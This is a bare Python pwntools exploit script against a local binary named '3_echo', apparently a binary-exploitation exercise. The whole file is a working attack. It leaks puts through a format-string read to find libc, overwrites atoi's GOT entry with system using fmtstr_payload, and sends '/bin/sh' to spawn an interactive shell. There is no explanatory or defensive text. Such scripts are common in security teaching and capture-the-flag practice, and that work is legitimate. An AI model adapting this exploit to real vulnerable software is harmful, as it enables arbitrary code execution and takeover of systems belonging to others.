from pwn import *

system_offset = 0x42c00
puts_offset = 0x6d210
atoi_got = 0x0804a024
puts_got = 0x0804a014

def main():
    p = process("../build/3_echo")

    # leak puts addr
    payload = p32(puts_got)
    payload += "%57$s"
    log.info("Sending payload: %s" % payload)
    p.sendline(payload)
    p.recvrepeat(0.2)
    p.sendline("1")
    p.recv(4)
    leak = p.recv(4)
    log.info("leaked puts addr: 0x%s" % leak)
    puts_addr = u32(leak)

    # calculate system addr
    libc_base = puts_addr - puts_offset
    system_addr = libc_base + system_offset
    log.info("leaked libc base: 0x%x" % libc_base)
    log.info("system addr: 0x%x" % system_addr)

    #gdb.attach(p)
    # overwrite atoi_got with system_addr
    new_payload = fmtstr_payload(57, {atoi_got: system_addr})
    log.info("Sending payload: %s" % new_payload)
    p.sendline(new_payload)
    p.recvrepeat(0.2)
    p.sendline("1")

    # send /bin/sh as number of times to atoi
    p.sendline("nothing")
    p.recvrepeat(0.2)
    p.sendline("/bin/sh")
    p.interactive()

if __name__ == "__main__":
    main()
